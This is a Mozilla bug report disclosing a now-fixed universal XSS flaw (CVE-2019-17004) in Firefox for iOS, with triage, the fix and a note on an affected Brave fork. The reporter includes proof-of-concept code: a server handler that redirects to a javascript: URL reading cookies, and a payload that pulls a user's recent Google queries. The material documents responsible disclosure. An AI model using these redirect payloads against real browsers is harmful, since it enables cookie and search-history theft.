1588928 - (CVE-2019-17004) Semi-Universal XSS by redirecting to javascript: links

Status: RESOLVED FIXED

(Firefox for iOS :: General, defect)

Description

[Konark Modi - @konarkmodi]

Attachment: google-cookies.PNG

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36

Steps to reproduce:

Firefox for iOS - Version 19.1 (16203)

Firefox iOS seems to allow users to paste javascript:alert(1) and execute in the address bar unlike Firefox for Desktop.

However, this becomes more dangerous when it is also possible to execute Javascript in urlbar via Location header in HTTP response.

Actual results:

In such a scenario,

1. The javascript gets executed with origin as previously opened tab.
2. In case of new tab, it reveals the UUID which is used as security token for Firefox internal pages.

Example:

Scenario 1:
1. Victim does a query on Google.com
2. Now victim pastes a link A in the same tab, this link redirects to "javascript:alert(last webpage you opened was ${document.location.href} with cookie ${document.cookie})"
3. In this case alert shows google.com and cookies for google.com
[Screenshot - Google cookies]

Scenario 2:
1. User opens a new tab.
2. Visits the link from attacker.
3. It leaks the UUID generated when the app was launched.
[Screenshot - internal UUID]
4. There are multiple places where this UUID can be used, for example opening any page in reader-mode: about:reader?url=https%3A%2F%2Fen%2Em%2Ewikipedia%2Eorg%2Fwiki%2FMain%5FPage&uuidkey=DADEDE5B-6475-41C2-B880-0CE99F83019E

Example url:
https://baley-elijah.herokuapp.com/redirect_js/

Code the above URL executes:

def test_redirect_js(request):
    response = HttpResponse("", status=302)
    response['Location'] = 'javascript:alert(`last webpage you opened was ${document.location.href} with cookie ${document.cookie}`)'
    response['status'] = '302'
    return response

Expected results:

1. Urls with scheme javascript: should not be allowed to execute.
2. It should not be allowed to redirect from https -> javascript.

Please note, at this point in time apart from location header, I have not tested if this pattern can be used to load resources in a way to bypass SOP.

Comment 1

[Konark Modi - @konarkmodi]

Attachment: internal-url-uuid.PNG

Comment 2

[Konark Modi - @konarkmodi]

Attachment: video-xss.MP4

Comment 3

[Konark Modi - @konarkmodi]

The Location header can also issue calls to apis to domain open in the previous tabs and extract sensitive information.
Example:
If a user is logged in Google in Firefox and the attacker page returns a location header like this issues calls to Google, along with cookies and it will reveal the last 10 queries done by the user:

javascript:fetch('https://www.google.com/complete/search?q&cp=0&client=mobile-gws-wiz-hp&xssi=t&hl=en-DE&authuser=0').then(e => {e.text().then(e => {var s = '';(JSON.parse(e.replace(\")]}'\", ''))[0].forEach(ee => {s+= ee[0] + ','}));alert(s)})})

Note: This only works if the last opened tab was google.com.

Screenshot: last_10_queries.

Comment 4

[Konark Modi - @konarkmodi]

Attachment: last_10_queries..png

Comment 5

[Daniel Veditz [:dveditz]]

I don't see javascript: in the URL bar in your movie, and the bug summary makes it sound like that's what this is about. That alone wouldn't be terrible, it's a self-XSS that we only recently stopped supporting on desktop.

It looks from your movie that you're loading an attack page on heroku and ending up with javascript running in a completely different site (google). That would be UXSS and TERRIBLE. I'm going to edit the summary to match my understanding, but please correct me if I've gotten it wrong.

Also you seem to think these are two different problems and it looks like one to me, which raises the chances I'm misunderstanding. Please file separate bugs for separate problems -- even if they are similar! we can always dupe them later if it turns out to be the same, but if we start out combined there's a good chance we fail to fix part of it.

We should never allow redirects to javascript: (or really, any non-http(s) scheme if you start with http(s)).

Comment 6

[Daniel Veditz [:dveditz]]

Chris: with farhan recently gone I don't know who takes his place for Firefox for iOS. This is an urgent bug for Firefox for iOS that will probably require a point release fix unless you've got an immanent release vehicle we can slip this into.

Comment 7

[Liz Henry (:lizzard) (relman/hg->git project)]

Garvan, maybe you could take a look here?

Comment 8

[:garvan]

I am the right person to ping on FxiOS sec bugs.

I am going to kill bookmarklets (and thus javascript: urls) for now.

In future if this is to land again, the implementation must block javascript: used anywhere other than bookmarks, which we don't currently have support for that logic flow.

Comment 9

[Konark Modi - @konarkmodi]

@Daniel: Thank you for comments, I should clarify:

(In reply to Daniel Veditz [:dveditz] from comment #5)

I don't see javascript: in the URL bar in your movie, and the bug summary makes it sound like that's what this is about. That alone wouldn't be terrible, it's a self-XSS that we only recently stopped supporting on desktop.

It looks from your movie that you're loading an attack page on heroku and ending up with javascript running in a completely different site (google). That would be UXSS and TERRIBLE. I'm going to edit the summary to match my understanding, but please correct me if I've gotten it wrong.

My main concern is that the heroku app is executing javascript via Location header, which gets executed in context of previously opened tab.

curl -I "https://baley-elijah.herokuapp.com/redirect_js/"
HTTP/1.1 302 Found
Connection: keep-alive
Server: gunicorn/19.7.1
Date: Thu, 17 Oct 2019 17:45:41 GMT
Content-Type: text/html; charset=utf-8
Location: javascript:alert(`last webpage you opened was ${document.location.href} with cookie ${document.cookie}`)
Status: 302
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Via: 1.1 vegur

So this could mean sending a link or sharing it over social media, and clicking could lead to such attacks.

Also you seem to think these are two different problems and it looks like one to me, which raises the chances I'm misunderstanding. Please file separate bugs for separate problems -- even if they are similar! we can always dupe them later if it turns out to be the same, but if we start out combined there's a good chance we fail to fix part of it.

I can file a separate bug as self-xss too. Since, copying pasting javascript:<code> also gets executed.

We should never allow redirects to javascript: (or really, any non-http(s) scheme if you start with http(s)).

Absolutely agree on this. I tried on Firefox Focus, it seems to block this redirection.

Comment 10

[:garvan]

https://github.com/mozilla-mobile/firefox-ios/pull/5618

Comment 11

[Daniel Veditz [:dveditz]]

(In reply to Konark Modi - @konarkmodi from comment #9)

My main concern is that the heroku app is executing javascript via Location header, which gets executed in context of previously opened tab.

Absolutely -- a bad problem! The original summary sounded like something else that would be relatively trivial (historical browser behavior until the past few years, lured self-xss attacks at worst).

I can file a separate bug as self-xss too. Since, copying pasting javascript:<code> also gets executed.

Looks like that's already covered by bug 1578821

Comment 12

[Daniel Veditz [:dveditz]]

(In reply to :garvan from comment #10)

https://github.com/mozilla-mobile/firefox-ios/pull/5618

The title on that PR is "Remove bookmarklet support". Is that obfuscation? Bookmarkets aren't the problem here, it's redirects with a Location: javascript:doevil header. I don't know how we interact with iOS webview, but on desktop firefox those would need to be fixed in two very different places.

Comment 13

[:garvan]

Yeah, I didn't want to be too specific. It is still accurate though, the reason this bug exists is due to bookmarklets implemented poorly.

Comment 14

[:garvan]

Commit https://github.com/mozilla-mobile/firefox-ios/commit/bd1de8bc759ad8ac995fd3b9f83444f83fea6bf7

Comment 15

[Konark Modi - @konarkmodi]

Thank you for the fix.
Is there a tentative date of release?

Comment 16

[:garvan]

Release v20 is this week.

Comment 17

[Konark Modi - @konarkmodi]

Thanks Garvan, I got the update to v20.0, and the issue does not seems to be fixed.

I am not familiar with the Firefox iOS release process, but does it also include details like msfa for Firefox Desktop has for security fixes:
https://www.mozilla.org/en-US/security/advisories/mfsa2019-34/

Comment 18

[Konark Modi - @konarkmodi]

(In reply to Konark Modi - @konarkmodi from comment #17)

Thanks Garvan, I got the update to v20.0, and the issue does not seems to be fixed.

My bad, wanted to write, the issue seems to be fixed.

I am not familiar with the Firefox iOS release process, but does it also include details like msfa for Firefox Desktop has for security fixes:
https://www.mozilla.org/en-US/security/advisories/mfsa2019-34/

Comment 19

[Tom Ritter [:tjr]]

This was fixed in V 20; but for the purposes of developing a script 20 isn't an option, so I'm going to mark it as 22; which has already been released.

Comment 20

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 21

[yan]

This is Yan from Brave. On 1/31/20, Konark Modi discovered that this issue affects Brave iOS (which is a Firefox iOS fork) and we pushed out a fix for it, which is currently awaiting Apple's app store review. We expect the fixed version of Brave will come out by Friday.

I was wondering when Firefox plans on publishing the advisory and if you could hold off until a large percentage of our users have updated.

Detailed timeline below:
4/15/19(?) - firefox-ios vulnerability is released
9/26/19 - the brave-ios PR with the vulnerability (copied from Firefox) is merged into dev
10/15/19 - kmodi finds the vulnerability in iOS Firefox and reports it. He tests Brave and finds it isn’t vulnerable because we haven’t yet shipped the vulnerability.
10/22/19 - firefox iOS fix is released
11/12/19 - brave-ios 1.13 is released with the vulnerability
1/31/20 - kmodi opens a HackerOne issue for it in Brave
2/1/20 - brave-ios builds are uploaded for approval to the iOS store.

Thanks!
Yan

Comment 22

[Tom Ritter [:tjr]]

The activity on this bug was actually due to my developing a script for creating iOS advisories, needing a test bug, and not any imminent advisory publication :) Yes we can hold off on publication (if we do make a historical publication.)